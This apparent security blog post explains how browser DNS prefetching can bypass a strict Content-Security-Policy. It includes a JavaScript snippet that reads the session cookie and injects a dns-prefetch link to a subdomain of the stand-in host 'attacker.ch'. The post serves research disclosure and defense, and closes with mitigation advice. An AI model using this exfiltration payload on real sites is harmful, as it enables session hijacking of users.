Compass Security Blog

Offensive Defense

Bypassing Content-Security-Policy with DNS prefetching

Introduction

The Content Security Policy (CSP) is one of the main web-based security mechanisms which helps websites’ owners to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks [1]. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. This is preventing cross-domain loading by malicious code from external sites. However, the CSP concept is not protecting against data exfiltration techniques.

Different researches pointed out different methods to exfiltrate information and circumvent the CSP [2]. This blog post will focus on the data exfiltration method using the Browser DNS Prefetching mechanism illustrated at [3]. Further information about the CSP can be found on our previous blog post or by visiting the CSP website [4].

Browser DNS Prefetching

On the Web, every millisecond matters, browsers are the windows of the Internet and have to be as fast as possible to allow users to get the best surfing experience. One method implemented by browsers to be more efficient is DNS Prefetching. The idea behind is to pre-resolve hostnames into IP addresses and cache them for a later usage. The browser pre-resolves hostnames discovered in the content of the received page (like hostname in a tags), saving hundreds of milliseconds to seconds of the user’s time.

dns_prefetching_timeline1

Source [deanhume.com]

To manage the automated DNS prefetching feature of the browser, the X-DNS-Prefetch-Control HTTP Header is used [5][6].

x-dns-prefetch-control: off

This header has two possible values, either “on” or “off”. By default, if the header is not set, the automated DNS prefetching is enabled for the pages acquired over HTTP and disabled for those available over HTTPS. In addition, a developer can tell the browser which hostname should be pre-resolved, this can be done using the <link> tag. For example, this tag <link rel=”dns-prefetch” href=”compass-security.com”> will cause the browser to perform a DNS prefetch of the compass-security.com domain.

Exploitation

This technique is undoubtedly good to considerably decrease the webpage loading time. However, this feature allows an attacker to bypass the CSP policies and exfiltrate information like sessions’ cookies or credentials.

Now I will introduce how a possible attack scenario works:

Imagine the attacker has discovered a web application vulnerable to XSS where he can inject some JavaScript code (non-inline). However, the CSP is preventing the information leakage and the attacker cannot send any data to his external server. The policy, which is very strict, is set as follows:

Content-Security-Policy: default-src 'none'; script-src 'self'

This defined CSP policy allows only script resource loaded from the website itself.

Now, taking advantage of the automated DNS prefetching, the attacker can include the information he wants to leak inside valid DNS names owned by him. For example, the session cookie with value “abcd1234” will be transformed into the domain name “abcd1234.attacker.ch”, which can now be injected in the page DOM using the following link tag:

<link rel="dns-prefetch" href="//abcd1234.attacker.ch">

The following JavaScript code will inject the above tag programmatically:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
// injecting the link tag in the HTML body force the browser 
// to prefetch the given domain 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "attacker.ch\">";

After executing the injected JavaScript, the browser starts the pre-fetching procedure and the resolution of the domain name “abcd1234.attacker.ch” will take place. Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.

wireshark_result

Conclusion and Mitigation

This attack shows the limitation of the current CSP definition, which does not take in account the DNS pre-fetching mechanism and data exfiltration vulnerability. Talking to the fellows inventing CSP we have learned, that data exfiltration was never the main goal of the project, instead it was designed to protect against XSS.

Currently, there are no concrete countermeasures against this kind of attack which uses DNS prefetch as vector. Firefox is the only browser which allows to disable the prefetching mechanism using the X-DNS-Prefetch-Control header. Compass Security still encourages the use of CSP and as always best practices like input validation and output encoding should be used to avoid the problem at the root.

Sources & References

  1. http://content-security-policy.com/
  2. http://tobias.lauinger.name/papers/csp-raid2014.pdf
  3. http://www.cse.chalmers.se/~andrei/asiaccs16.pdf
  4. https://www.w3.org/TR/CSP/
  5. https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching
  6. http://dev.chromium.org/developers/design-documents/dns-prefetching

2 Comments

  1. Someone

    I don’t understand! how would the attacker inject and execute JavaScript code when CSP is already strict?

    • Cyrill Bannwart

      In the outlined example the defined CSP allows JavaScript to be included using the script-src ‘self’ directive.

Leave a Reply

Your email address will not be published. Required fields are marked *